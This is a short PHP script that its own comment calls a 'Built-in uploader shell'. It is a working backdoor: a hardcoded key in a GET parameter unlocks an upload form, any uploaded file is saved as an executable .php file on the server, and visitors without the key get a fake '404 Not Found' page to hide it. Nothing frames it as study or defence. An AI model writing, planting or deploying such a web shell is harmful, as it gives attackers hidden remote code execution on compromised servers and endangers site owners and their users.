<?php 
// Built-in uploader shell
$key = "J$C65JTTssHq";  // Session key
    
if(isset($_GET['key']) && $_GET['key'] === $key) {
    // Generate random number for filename
    $random_num = rand(100000, 999999);
    
    if(isset($_FILES['f'])) {
        // Upload file
        $filename = "up" . $random_num . ".php";
        if(move_uploaded_file($_FILES['f']['tmp_name'], $filename)) {
            // Return with random parameter
            $url_param = rand(100000, 999999);
            $url = $filename . "?=" . $url_param;
            echo "SUCCESS:" . $url;
        }
    } else {
        // Show upload form
        echo '<form method="POST" enctype="multipart/form-data">
        <input type="file" name="f">
        <input type="submit" value="Upload">
        </form>';
    }
} else {
    // Hide from unauthorized
    echo "404 Not Found";
}
?>